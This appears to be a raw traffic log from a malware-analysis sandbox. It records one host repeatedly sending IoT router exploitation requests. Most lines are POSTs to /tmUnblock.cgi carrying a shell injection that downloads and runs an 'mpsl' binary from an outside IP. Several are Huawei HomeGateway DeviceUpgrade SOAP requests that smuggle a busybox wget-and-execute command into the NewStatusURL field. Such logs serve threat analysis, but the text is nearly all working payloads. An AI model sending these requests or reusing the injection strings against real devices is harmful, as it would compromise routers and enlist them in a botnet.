Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 98.83.42.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:17321 -> 184.71.92.121:8080

Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
